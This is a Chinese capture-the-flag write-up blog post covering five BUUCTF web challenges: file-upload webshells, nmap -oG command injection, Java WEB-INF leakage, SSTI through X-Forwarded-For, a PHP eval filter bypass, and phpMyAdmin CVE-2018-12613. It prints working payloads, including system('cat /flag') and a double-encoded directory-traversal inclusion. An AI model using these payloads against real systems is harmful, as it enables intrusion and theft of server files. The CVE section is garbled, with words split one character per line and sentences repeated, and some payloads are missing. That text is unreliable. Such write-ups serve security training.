BUUCTF web(五)
作者:互联网
[GXYCTF2019]BabyUpload
传呗,先传个php一句话
检测后缀了,大小写也绕不过去
试了下别的后缀也不大行
抓包康康
抓包改后缀和content-type倒是能绕过,但是上传的文件依旧是一个jpg而不会被当作php解析
嘶。。。欸?等等
那还等啥,传它!
直接传也是不行的,抓包改下content-type
之前已经传过马了,连下试试
芜湖!flag在根路径里
拿来吧你!
[BUUCTF 2018]Online Tool
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
这俩函数没见过,百度找找
简而言之就是把字符串转换成参数并且过滤放到
后面执行命令
找到了漏洞解析
搜索得知nmap命令中有一个参数-oG可以实现将命令和结果写到文件
这是什么?这是一句话木马啊!
payload:
如果没有单引号,就只是相当于正常使用这两个函数,这所有的东西会被解析成一个字符串交给nmap
空格是因为如果不加空格,经过两个函数之后就会变成
文件名就变了
因为
所以传参要用双引号
蚁剑连上,拿来吧你
[RoarCTF 2019]Easy Java
WEB-INF/web.xml泄露
参考这位师傅的https://www.cnblogs.com/karsa/p/13130130.html
这样直接访问会报错
所以我们用post方式提交请求
down下来,但是没什么用,那我们也能通过这样的方式访问一下WEB-INF/web.xml
Servlet程序若想被外界访问,必须把Servlet程序映射到一个URL地址上,这个工作在web.xml文件中使用<servlet>元素和<servlet-mapping>元素完成。
如上,最后的<servlet-name>FlagController表示Servlet的注册名称,<servlet-class>com.wm.ctf.FlagController</servlet-class>表示了完整类名,<servlet-mapping>映射了刚刚注册完毕的Servlet,后面的<url-pattern>/Flag</url-pattern>则指定了访问路径
再贴一下这位师傅的图233
根据路径构造payload:
?filename=WEB-INF/classes/com/wm/ctf/FlagController.class
右面的base64解码就好
芜湖~
[BJDCTF2020]The mystery of ip
/flag.php页面发现了ip
/hint.php页面查看源码发现了提示
不会是XFF叭,抓包改下试试
确实,猜测这里可能是SSTI
,XFF改为{{7*7}}
flag一般都在根目录下,所以将XFF改为{system('cat /flag')}
即可得到flag
[GXYCTF2019]禁止套娃
上githack,查看index.php
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
get方式传一个exp参,过滤了常用的伪协议
重点在这句话
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))
分析一下正则,大致上就是匹配一个函数,比如a(),然后用null替换,最后剩一个分号;就能成功
正则里有一个?R,这玩意儿是引用当前表达式,后面再加?是递归调用
所以exp的形式要是这种:a(b());
要读取flag.php,首先要扫描目录
scandir()函数可以扫描当前目录下的文件,使用方式为
print_r(scandir('.'));
但是不能有这个点.
所以我们需要一些自带常量的参数
这里有个函数localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是.
而current() 返回数组中的当前单元, 默认取第一个值。
所以current(localeconv())整句话就是个点.
于是我们就可以先看看目录都有啥文件了
print_r(scandir(current(localeconv())));
好,一共四个,flag在倒数第二个,而且好像连用两个next()不太行
那我们换个想法,先用arrar_reverse(),再next(),最后highlight_file完事
payload:
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
拿来吧你!
[GWCTF 2019]我有一个数据库
啥都没有,dirsearch扫一下
芜湖,有个后台
找了一圈发现里面屁也没有
看看有什么版本洞
phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613) (参考:https://www.cnblogs.com/leixiao-/p/10265150.html)
这个漏洞出现在index.php中的
// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
绕过这几层过滤就会有一个文件包含可以利用
123层很好绕,不为空、是字符串、没有index就行
第四层要绕过一个黑名单
$target_blacklist = array (
'import.php', 'export.php'
);
不多,就俩也好绕
康康第五层
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
w h i t e l i s t 一 开 始 未 传 参 过 来 , 所 以 会 被 赋 值 为 s e l f : : whitelist一开始未传参过来,所以会被赋值为self:: whitelist一开始未传参过来,所以会被赋值为self::goto_whitelist
p
a
g
e
是
取
出
_page是取出
page是取出page问号前的东西,是考虑到target有参数的情况,只要$_page在白名单中就直接return true
但还考虑了url编码的情况,所以如果这步判断未成功,下一步又进行url解码
所以传入二次编码后的内容,会让checkPageValidity()这个函数返回true,但index中实际包含的内容却不是白名单中的文件
例如传入
?target=db_datadict.php%253f
由于服务器会自动解码一次,所以在checkPageValidity()中,
p
a
g
e
的
值
一
开
始
会
是
‘
d
b
d
a
t
a
d
i
c
t
.
p
h
p
但
在
i
n
d
e
x
.
p
h
p
中
page的值一开始会是`db_datadict.php%3f`,又一次url解码后变成了`db_datadict.php?`,这次便符合了?前内容在白名单的要求,函数返回true 但在index.php中
page的值一开始会是‘dbdatadict.php但在index.php中_REQUEST[‘target’]仍然是db_datadict.php%3f
,而且会被include,通过目录穿越,就可造成任意文件包含
payload:如上所说,两次url编码绕过
?target=db_datadict.php%253F../../../../../../flag
拿来吧你
标签:web,BUUCTF,target,whitelist,flag,exp,php,page 来源: https://blog.csdn.net/m0_46616663/article/details/121457616